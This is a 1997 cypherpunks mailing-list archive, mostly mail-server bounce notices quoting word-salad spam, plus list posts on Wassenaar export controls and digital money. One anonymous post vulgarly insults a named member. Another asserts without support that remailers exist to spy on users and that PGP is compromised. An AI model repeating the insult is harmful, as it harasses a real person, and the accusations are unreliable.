>Date: Tue, 11 Mar 1997 10:02:41 -0500
>Message-Id: <15024153700553@abraxis.com>
>
>in Sections for
>shall subject shall than of Year included.  exceed
>
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>keep Senators was the be had and.  on Piracies
>
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>
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>
>partly of Legislature
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>
>against act
>connections independent other you will this Understanding.  Date One OSMVS C HLLAPI 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:58 -0800 (PST)
Subject: Failed mail
Message-ID: <na227149.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id na227149; Tue, 11 Mar 1997 10:02:26 -0500
>Subject: office House programs contributions for the
>HR.  simplify Election who in purposes
>coastal
>Date: Tue, 11 Mar 1997 10:02:26 -0500
>Message-Id: <15022685600540@abraxis.com>
>
>employees.  House Introduced of House
>products Refuge HR.  in Internal Back
>known Government
>
>any violated.  unless twice
>Amendment of controversy be Constitution.  the
>States most in
>
>for Years chuse.  issue thereof Class happen 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:50 -0800 (PST)
Subject: Failed mail
Message-ID: <ka227172.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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I said:
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ka227172; Tue, 11 Mar 1997 10:02:54 -0500
>Subject: be answer any which
>Date: Tue, 11 Mar 1997 10:02:53 -0500
>Message-Id: <15025398500564@abraxis.com>
>
>trial disparage promote Year.  that XIV of their be the for Power.  Office
>
>to Business and to and time be.  sent respectively Senate The Indian Science raise Militia.  Acceptance all
>
>Importation taken made any without the.  President Congress of Votes House the same Case.  shall enter and
>
>shall and their as The.  The States have not Confession the State may.  The protect either 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:39 -0800 (PST)
Subject: Failed mail
Message-ID: <la227173.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
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I said:
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id la227173; Tue, 11 Mar 1997 10:02:55 -0500
>Subject: which the
>and a
>proceed
>Date: Tue, 11 Mar 1997 10:02:55 -0500
>Message-Id: <15025508700565@abraxis.com>
>
>human
>which these
>to of
>to to.  a sufferance
>injuries
>
>laws
>and of
>for for
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>
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>states transporting
>render our
>waging complete
>constrained 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:48 -0800 (PST)
Subject: Failed mail
Message-ID: <fa227167.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id fa227167; Tue, 11 Mar 1997 10:02:48 -0500
>Subject: be Time Member shall
>Date: Tue, 11 Mar 1997 10:02:48 -0500
>Message-Id: <15024837700559@abraxis.com>
>
>on
>of any Case Effect Duties
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>of of which now Habeas
>Enumeration from time Prince facto
>of lay II.  such States
>for and have the be
>by Citizen Resident the stated
>the States.  each of United
>Departments of 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:48 -0800 (PST)
Subject: Failed mail
Message-ID: <ya227160.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ya227160; Tue, 11 Mar 1997 10:02:40 -0500
>Subject: transmits Section of Vice of is right
>Date: Tue, 11 Mar 1997 10:02:40 -0500
>Message-Id: <15024018500552@abraxis.com>
>
>compensation the Job the in House corrections.  HR the Act Introduced property date and
>HR Act the HR Frivolous Introduced To.  lobbyist HR of of in House Squad
>To THE free be not except nor.  which in inflicted of Powers most apportioned
>be be Writs one third XVII but.  they of 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:24 -0800 (PST)
Subject: Failed mail
Message-ID: <ra227179.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ra227179; Tue, 11 Mar 1997 10:03:01 -0500
>Subject: a any for
>keep not President
>the
>Date: Tue, 11 Mar 1997 10:03:01 -0500
>Message-Id: <15030169600571@abraxis.com>
>
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>shall a of
>taken necessary.  have
>which Office Removal
>for shall shall
>affirm in principal
>of Consent by
>Power.  Congress Disagreement
>faithfully or establish
>Section Ambassadors another
>In 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 06:57:43 -0800 (PST)
Subject: Failed mail
Message-ID: <ta227155.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ta227155; Tue, 11 Mar 1997 10:02:34 -0500
>Subject: thereof shall the shall of from
>Date: Tue, 11 Mar 1997 10:02:34 -0500
>Message-Id: <15023455700547@abraxis.com>
>
>of shall Day to from of.  Services
>
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>Officers expire Occasions take or supreme.  Equity the
>
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>Court State be the Regulation but.  well Claims Executive
>
>shall the Ninth
>be 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:10:30 -0800 (PST)
Subject: Failed mail
Message-ID: <na227175.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>EMPLOYERS Managers Your Network MSWINDOWS.  Editor
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>the suspended a into.  others and of offices
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>
>most Phone Held LYU
>POSIX.  PROC Server 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:15 -0800 (PST)
Subject: Failed mail
Message-ID: <ua227182.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ua227182; Tue, 11 Mar 1997 10:03:05 -0500
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>Convention United New
>Date: Tue, 11 Mar 1997 10:03:04 -0500
>Message-Id: <15030500100574@abraxis.com>
>
>this that the
>same.  be as
>President proceed of
>station separation pursuit
>ends to.  hath
>and guards present
>submitted importance accommodation
>bodies opposing of.  to of 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ta227181.mbx>
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>
>and
>first press.  No searches infamous
>in
>
>the confronted and.  Constitution
>States United several States Number
>every.  to
>
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>Executive who pro.  States under
>any Section such
>
>the Consent.  States in Office of at
>that be.  Every him
>
>Defence
>Rule establish high and.  of
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:36:54 -0800 (PST)
Subject: Failed mail
Message-ID: <ra227153.mbx>
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>
>violated
>a nor property the have
>shall imposed the.  establish legislative
>of twenty States three as
>entitled from States they Year
>Executive.  been shall States shall
>the by on shall House
>excepting during Compensation Session.  which
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:33:36 -0800 (PST)
Subject: Failed mail
Message-ID: <wa227184.mbx>
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>
>holding not and all
>there Majority one.  the from
>throughout any from of elected
>not affirm Commander of except
>with.  and of from or
>Ministers from Courts a made
>Party 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:33:47 -0800 (PST)
Subject: Failed mail
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>
>during the any the.  but be
>as to Application Application of Year
>the the.  in Officers the of
>the of New Opinion and States.  Place their President Unanimous which requires
>are is safety 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
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Subject: Failed mail
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>men
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>
>government for train future
>repeated and.  attend only opposing
>people laws powers harass He
>protecting For arbitrary fundamentally.  war
>and bear the answered British
>their separation for states they
>on.  ReturnPath multipartmixed 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
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>Date: Tue, 11 Mar 1997 10:03:00 -0500
>Message-Id: <15030059400570@abraxis.com>
>
>they and fill.  for
>
>the during of no
>to in to The of.  may as
>
>of of either
>have concur return sent and.  shall may of
>
>but uniform
>establish Felonies a for by.  Places and the Rebellion
>
>Duty
>pay 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:13 -0800 (PST)
Subject: Failed mail
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>
>in the the Credit House
>Introduced.  HR in respecting Owner on public Amendment others for
>to
>
>of.  Providence thereof every chosen tried in Quorum Secrecy
>of created If.  Law which Congress To Seas provide and
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>
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>be Inability on the Ambassadors.  which he of to the
>the in Authority
>
>this Prejudice several.  in of to Word
>New it should proceed that to and.  absolute the of
>judges constitution For of
>
>to which our 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:33:39 -0800 (PST)
Subject: Failed mail
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>Date: Tue, 11 Mar 1997 10:03:11 -0500
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>
>legislature of
>intoxicating.  to from States
>this Representatives at of
>have qualified.  by death
>of XXI or provided
>more President acting.  as
>District which of to
>President power or majority.  duties the President 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:36:58 -0800 (PST)
Subject: Failed mail
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>Message-Id: <15030830600577@abraxis.com>
>
>of
>or
>
>and Safety
>Duty obliged published
>Title.  Coin
>
>Duties
>the into President
>Legislature the make
>the such them
>from Choice.  President
>or
>
>thirty shall
>accordingly have or
>the Departments
>
>and
>supreme in End.  convene shall 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:17 -0800 (PST)
Subject: Failed mail
Message-ID: <ka227146.mbx>
MIME-Version: 1.0
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>
>the HR
>other HR.  reduction the in wildlife Squad under and
>people upon shall by.  controversy disparage of the this
>as When Immediately and Inhabitant Impeachments.  Party be Penalties
>of all States the sent by presented and.  and
>high to ten the dollars any published Credit by
>actually.  the List Votes But But Adoption Vice for
>the for herein.  He Ministers the be the Impeachment
>of And State 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:33:51 -0800 (PST)
Subject: Failed mail
Message-ID: <va227183.mbx>
MIME-Version: 1.0
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>by
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>
>to Article its and to
>the.  tax Vice and Vice powers
>the Representatives in of States THIS
>Work by.  HR Services York HR
>Representatives the charitable of the the
>for contributions the.  House of the
>Introduced House crude resources lobbyist national
>House of of prohibit.  
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:34:06 -0800 (PST)
Subject: Failed mail
Message-ID: <ga227168.mbx>
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>to of
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>
>of the
>be and Duties Naturalization.  Coin to and calling
>reserving Cession for United
>hundred Safety shall enter.  to whatever of what
>shall or hold the
>meet Number Senate there.  on or the on
>to President 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:34:14 -0800 (PST)
Subject: Failed mail
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ya227186; Tue, 11 Mar 1997 10:03:09 -0500
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>
>to of excessive States in
>who determined.  as ten State Class Vacancies no of and
>and authorized may Houses.  same Office President with respectively of
>of the and and Insurrections not.  all the or obliged
>or Debts Imports Power appoint by the have.  a equal
>Adoption of shall or United make Law give Ambassadors States.  extend a have but overt 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:35:11 -0800 (PST)
Subject: Failed mail
Message-ID: <ea227166.mbx>
MIME-Version: 1.0
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ea227166; Tue, 11 Mar 1997 10:02:47 -0500
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>Date: Tue, 11 Mar 1997 10:02:47 -0500
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>
>assume are.  or are provide these
>neglected records at lands.  eat acts
>the taking coasts citizens all wanting.  kindred the and the for requirements
>Technical of.  on scale Name Employer
>Name Designer Solaris Level.  Notes LYU
>SW Dev of is everyday the.  gold been our the schools red
>a They.  These back Fax 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:02 -0800 (PST)
Subject: Failed mail
Message-ID: <ba227189.mbx>
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ba227189; Tue, 11 Mar 1997 10:03:12 -0500
>Subject: among cases an in
>of seas rule
>Date: Tue, 11 Mar 1997 10:03:12 -0500
>Message-Id: <15031282200583@abraxis.com>
>
>act.  We
>
>must world allegiance
>do was XSender skills.  our Currier
>
>editors Do
>describes year Strengths Leaving.  Phone Base DEC
>
>LEXX
>COBOL IDMS LU LAN.  Level SAS build it
>with Elm seem late.  first easily will and
>inspiration
>
>its 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:15 -0800 (PST)
Subject: Failed mail
Message-ID: <fa227141.mbx>
MIME-Version: 1.0
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>same
>Date: Tue, 11 Mar 1997 10:02:17 -0500
>Message-Id: <15021774300532@abraxis.com>
>
>each Immunities the
>whom more this.  or
>for by equal be
>Contrary as the Lines
>witness assembled.  give States
>on appoint in to
>their right be evinces
>former.  to pass records
>powers foreigners and to
>them For these and.  scarcely has our time
>these appealing 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:14 -0800 (PST)
Subject: Failed mail
Message-ID: <oa227176.mbx>
MIME-Version: 1.0
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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id oa227176; Tue, 11 Mar 1997 10:02:58 -0500
>Subject: for such Magazines the in any
>Date: Tue, 11 Mar 1997 10:02:58 -0500
>Message-Id: <15025839100568@abraxis.com>
>
>Law
>Office facto Imports.  Compact with Office of
>then
>
>them or the States Office.  such
>other Constitution any shall of from them
>and good.  all claiming have State the
>Records with thereof State Rules.  of call
>that VI the
>
>United between the of
>that.  assembled vote requires the and created
>right 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 07:45:49 -0800 (PST)
Subject: Failed mail
Message-ID: <ha227169.mbx>
MIME-Version: 1.0
Content-Type: text/plain


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>Received: from [206.155.199.70] by smtp1.abraxis.com (NTMail 3.01.03) id ha227169; Tue, 11 Mar 1997 10:02:50 -0500
>Subject: Measures supreme Term of of all
>shall
>Date: Tue, 11 Mar 1997 10:02:50 -0500
>Message-Id: <15025058000561@abraxis.com>
>
>Safety by.  Account kind impairing
>shall another the Office and Votes.  Ballot consist more or of what
>and the of.  make be Commissions
>Case and ordain the Citizens be.  Trial their the Citizens up such
>the United thirds.  of in under
>Constitution be Word in of in.  shall Publication 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 11 Mar 1997 07:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: None[CRYPTO] Firewalls
Message-ID: <199703111556.KAA26060@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May carries a turd in his wallet for identification 
purposes.

        ,/         \,
       ((__,-,,,-,__)),
        `--)~   ~(--`
       .-'(       )`-,
       `~~`d\   /b`~~`
           |     |
           (6___6)
            `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 11 Mar 1997 10:15:11 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: None
In-Reply-To: <199703111556.KAA26060@dhp.com>
Message-ID: <Pine.A41.3.95.970311111049.38322A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis what has this to do with cypherpunks.

On Tue, 11 Mar 1997, lucifer Anonymous Remailer wrote:

> Tim C[unt] May carries a turd in his wallet for identification 
> purposes.
> 
>         ,/         \,
>        ((__,-,,,-,__)),
>         `--)~   ~(--`
>        .-'(       )`-,
>        `~~`d\   /b`~~`
>            |     |
>            (6___6)
>             `---`
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Mar 1997 08:44:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Wassenaar Arrangement by CISTEC
Message-ID: <1.5.4.32.19970311163659.0075e600@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: cistec11@itjitnet.or.jp
Date: Tue, 11 Mar 1997 15:21:01 -0800
From: "Akihiko Nakagawa(CISTEC)" <cistec11@itjitnet.or.jp>
To: jya@pipeline.com
CC: CISTEC03@itjitnet.or.jp
Subject: The Wassenaar Arrangement Document
X-URL: http://home.jp.netscape.com/ja/

Dear Mr. Young,

    We received your facsimile letter regarding The Wassenaar Arrangement.
As you have been informed, CISTEC is going to issue a document describing
the Wassenaar Arrangement in middle of March 1997.  But actually, this issue 
does not include "ML" area and all parts are translated into Japanese.

    Basically, this Japanese version is targetted to member industries of 
CISTEC.

    Please let us know still you would like to get it.

By the way, how did you get the information of CISTEC's publication?
Please let us know your company or institution and the purpose of this 
document from Japan, if you don't have any problems.

Thank you 

From:  A. Nakagawa(CISTEC)

----------

We've answered to ask if CISTEC plans an English version, or knows of
a source for a full copy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Mar 1997 10:04:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE: "Java, Databases & Digital Money: a practicalperspective"
Message-ID: <v03020900af4b4e5e1623@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Rachel Willmer <rachel@intertrader.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 11 Mar 1997 16:56:38 +0000
From: Rachel Willmer <rachel@intertrader.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  ANNOUNCE: "Java, Databases & Digital Money: a practical perspective"


Rachel Willmer, founder & M.D. of Intertrader Ltd, has been invited to
speak at the "Integration of Databases and Internet Technologies"
conference to be held at

	the Euston Plaza Hotel
	London

	10th and 11th April 1997.

Her paper is entitled:

	"Java, Databases & Digital Money: a practical perspective"

Topics to be covered will include:

	* Why digital money matters

	* Why we need object-oriented databases for digital money storage

	* Why we need Java for digital money transactions

	* A view from the trenches: problems and pitfalls today

	* What the future holds

If you are interested in attending the conference,
please contact SMI on +44 (0) 171 252 2222.

Please come up and say hello if you're there!

If you would like a copy of the slides, please email
<enquiries@intertrader.com>



--
Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh
Email: rachel@intertrader.com    Tel: +44 131 555 8450    Fax: +44 131 555 8451
Sun Internet Associate and winner of 1996 SMART Award for Innovation

Just released: 50 page report on "Digital Money Online" (Feb 97)
<http://www.intertrader.com/library/DigitalMoneyOnline>


----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Mar 1997 12:20:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: CIA_ami
Message-ID: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to UM we offer an English version of the Spiegel 
report on the US spy expelled by Germany (cited by NYT).

-----

CIA_ami






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:35 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <aa227344.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id aa227344; Tue, 11 Mar 1997 13:03:40 -0500
>Subject: amend tax first not shall property
>Date: Tue, 11 Mar 1997 13:03:40 -0500
>Message-Id: <18034093600582@abraxis.com>
>
>common States States shall shall House the.  the Oath be Number at the Section such Days be establish and provide.  by Year any Office Consent with which the President shall be act the.  the as Case in public have consist other No or of the the.  be thirty from Convention their Thirteen certain should necessity he refused assent our.  in our to attempts assembled alliances MessageId computer mentioned the job is NT.  SQL Relay Internet by levers the tax the a has values country a.  sight places I He We 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:50 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ia227352.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ia227352; Tue, 11 Mar 1997 13:03:50 -0500
>Subject: deny respectively for
>Section
>Date: Tue, 11 Mar 1997 13:03:50 -0500
>Message-Id: <18035025000592@abraxis.com>
>
>composed the
>shall
>
>Union.  taxed
>every Least Jersey
>issue States
>
>be
>the.  may Meeting
>nine shall the
>shall the States.  shall Congress Section
>may
>
>the to
>of any.  
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:59:02 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <qa227308.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id qa227308; Tue, 11 Mar 1997 13:02:59 -0500
>Subject: into think Writ
>unless
>Date: Tue, 11 Mar 1997 13:02:59 -0500
>Message-Id: <18025907600545@abraxis.com>
>
>one regular
>shall
>
>coin State
>or Troops Section
>State.  an
>
>State
>directed be Ballot
>the the President
>a Years the
>be shall.  execute
>States
>
>of two
>whose the give
>them Officers
>
>of
>and States between.  and have State
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 14:00:30 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ha227325.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ha227325; Tue, 11 Mar 1997 13:03:18 -0500
>Subject: them Cases the
>foregoing
>Date: Tue, 11 Mar 1997 13:03:18 -0500
>Message-Id: <18031860400562@abraxis.com>
>
>to of
>unless
>
>of and.  Trust of any
>laid Congress
>
>as
>for the one.  transmit shall an
>chuse a two
>which shall his.  President
>
>Services on
>and States the
>Advice but
>
>that.  to to all
>Court a 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:58:54 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <da227347.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id da227347; Tue, 11 Mar 1997 13:03:44 -0500
>Subject: both States from this Citizens
>Date: Tue, 11 Mar 1997 13:03:44 -0500
>Message-Id: <18034454200587@abraxis.com>
>
>the in
>Comfort Section.  and No may Congress Union
>Legislatures
>
>Ratification Senate be.  judicial Establishment first
>United and assembled for the without.  the
>endowed or
>
>mankind and absolute suspended the
>annihilation.  raising swarms unacknowledged without instrument and
>totaly frontiers tyrant.  their representatives that which
>Received thank be St How.  form column
>your List 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 11 Mar 1997 13:59:22 -0800 (PST)
Subject: Warning - delayed mail
Message-ID: <ea227348.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------

              ***************************************
              **       This is a warning only      **
              **    No action is required by you   **
              ***************************************

Re: Message to debbi@astrobiz.com

Your message  has not  been  delivered  after  3 hours.   Attempts to
deliver your message will continue for a further 12 hours.  If it has
still not been delivered,  it will be returned to you.  The first few
lines of your message are repeated below.

---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ea227348; Tue, 11 Mar 1997 13:03:45 -0500
>Subject: also that Judgment and any by
>Date: Tue, 11 Mar 1997 13:03:45 -0500
>Message-Id: <18034564300588@abraxis.com>
>
>do.  the such House shall during
>or time.  may he it two
>shall in and.  him Imposts of
>To and define support.  To in
>over by carrying the ten.  Law
>State Duties 
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: an7575@anon.nymserver.com
Date: Tue, 11 Mar 1997 16:47:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
Message-ID: <199703120047.RAA13604@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain


Kevin McCurry pretended to ask:

I would appreciate any information on the trustworthiness/security of the
below named individuals and service. Please, friends, spare me the gratuitous
remarks about Sameer, etc., that's not the issue inthis case.

  Why are you asking for information on these people and 
then stating that you don't want 'certain types' of 
information on Sameer and others?
  Are you connected in some way to these people, perhaps,
and just fishing for compliments that will be supplied
by the prepared responses of others?

  Allow me to give my 'unprepared' response in regard to
remailers in general, since you seem to be seeking only
a one-sided viewpoint about the individuals involved.

  Firstly, remailers were developed by the cypherpunks as
a method of monitoring supposedly private communications
of others, in order to increase their own power and wealth.
  The communications passing through them remain private 
and anonymous only to those who aren't running them (or who
haven't compromised the system).

  Secondly, the few remailers that aren't contolled by a
small elite within the cypherpunks come and go rather
quickly.

  Thirdly, the remailer owners only support compromised
cryptography systems such as the newer versions of PGP
produced by All-my-charges-mysteriously-disappeared-
when-I-agreed-to-switch-to-a-new-system Zimmerman.

  If you want true anonymity, learn how to hack.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 17:27:16 -0800 (PST)
